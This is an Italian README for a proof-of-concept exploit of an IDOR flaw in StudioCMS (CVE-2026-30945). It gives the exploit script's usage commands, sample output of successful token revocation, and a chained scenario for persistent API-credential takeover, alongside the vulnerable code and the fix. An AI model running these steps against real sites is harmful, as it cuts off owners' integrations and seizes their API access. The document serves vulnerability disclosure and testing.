
Proof-of-concept exploit per CVE-2026-30945, un IDOR in StudioCMS che consente la revoca arbitraria dei token API e il denial of service. Include modalità di test manuale e automatizzata.
StudioCMS IDOR — Revoca Arbitraria di Token API che Porta a Denial of Service
L'endpoint DELETE /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 consente a qualsiasi utente autenticato con privilegi di editor o superiori di revocare token API appartenenti a qualsiasi altro utente, inclusi account admin e .
ownerL'handler accetta tokenID e userID direttamente dal payload della richiesta senza verificare la proprietà del token, l'identità del chiamante o la gerarchia dei ruoli. Ciò consente un denial of service mirato contro integrazioni e automazioni critiche.
Correlato: Questa vulnerabilità condivide la stessa causa principale di CVE-2026-30944 (IDOR nella generazione dei token). Se combinate, un attaccante può revocare token legittimi e generarne di nuovi, ottenendo il completo controllo delle credenziali API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attaccante │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Pipeline │
│ CI/CD del │
│ Owner │──► ❌ 401 Unauthorized
│ Integrazione│──► ❌ Accesso API Perso
│ Monitoraggio│──► ❌ Fallimento Silenzioso
└──────────────┘
| Campo | Valore |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente |
| CWE (secondaria) | CWE-863: Autorizzazione Errata |
| MITRE ATT&CK | T1531 — Rimozione dell'Accesso all'Account |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Affette | studiocms ≤ 0.3.0 |
| Corretta in | studiocms 0.4.0 |
| File | Descrizione |
|---|---|
cve_2026_30945_poc.py | Script di sfruttamento Python con modalità manuale e automatizzata |
README.md | Questo file |
LICENSE | Licenza MIT |
Editorpip install requests colorama
# Revoca un token specifico appartenente all'owner
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Combina con CVE-2026-30944: crea prima un token per il target
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Salva i risultati in JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Test con più ruoli
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argomento | Descrizione |
|---|---|
-u, --url | URL base di StudioCMS di destinazione |
--target-uuid | UUID dell'utente target di cui verrà revocato il token |
| Argomento | Descrizione |
|---|---|
--token-id | UUID interno del record del token da revocare (non il JWT). Se omesso, lo script tenterà di creare prima un token tramite CVE-2026-30944 |
| Argomento | Descrizione |
|---|---|
--username | Nome utente per l'autenticazione |
--password | Password per l'autenticazione |
| Argomento | Descrizione |
|---|---|
--auto-test | Abilita il test automatizzato multi-ruolo |
--editor-user | Nome utente dell'account Editor |
--editor-pass | Password dell'account Editor |
--visitor-user | Nome utente dell'account Visitor |
--visitor-pass | Password dell'account Visitor |
| Argomento | Descrizione |
|---|---|
--save | Salva i risultati in un file JSON |
--no-ssl-verify | Disabilita la verifica del certificato SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticazione
──────────────────────────────────────────────────────────
[+] Autenticato come 'editor01'
[*] Utente sessione: editor01 (editor)
[*] UUID sessione: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 3: Revoca Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoca del token API del target...
[+] Token revocato! Risposta del server: Token deleted
[!] VULNERABILITÀ CONFERMATA — Token revocato con successo!
[!] Le integrazioni API dell'utente target sono ora interrotte (DoS)
──────────────────────────────────────────────────────────
FASE 3: Revoca Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoca del token API del target...
[*] Accesso negato (403 Forbidden) — l'endpoint potrebbe essere corretto
[-] Revoca fallita: Accesso negato (403 Forbidden)
Se combinata con l'IDOR nella generazione dei token (CVE-2026-30944), un attaccante può eseguire un completo takeover delle credenziali API:
Passo 1: Revoca del token legittimo dell'owner (CVE-2026-30945)
└──► I pipeline CI/CD dell'owner si interrompono silenziosamente
Passo 2: Generazione di un nuovo token per l'owner (CVE-2026-30944)
└──► L'attaccante ora ha accesso API a livello owner
Passo 3: L'owner crea un nuovo token per risolvere
└──► L'attaccante lo revoca di nuovo (DoS persistente)
Questo crea uno scenario in cui l'attaccante mantiene un controllo persistente sull'accesso API dell'owner, revocando ripetutamente qualsiasi nuovo token che l'owner crea mentre mantiene il proprio accesso illegittimo.
L'handler vulnerabile in packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (righe 58–99) accetta tokenID e userID dal corpo della richiesta e li passa direttamente alla funzione di eliminazione senza alcun controllo di autorizzazione:
// [1] Controlla solo se il chiamante è editor — non PER CHI sta revocando i token
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Entrambi i valori dal corpo della richiesta — nessuna validazione rispetto alla sessione
const jsonData = yield* readAPIContextJson<{
tokenID: string; // Nessun controllo di proprietà
userID: string; // Nessun controllo di identità
}>(ctx);
// [3] Passati direttamente a un'operazione distruttiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
L'handler presenta cinque difetti distinti: gate di permessi insufficiente, nessuna validazione della proprietà del token, controllo dell'identità del chiamante mancante, nessuna applicazione della gerarchia dei ruoli e passaggio diretto di valori controllati dall'utente a un'operazione distruttiva.
Aggiorna StudioCMS alla versione 0.4.0 o successiva:
npm install studiocms@latest
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.
Filipe Gaudard
Questo PoC è rilasciato sotto la Licenza MIT per scopi educativi. Usalo in modo responsabile ed etico.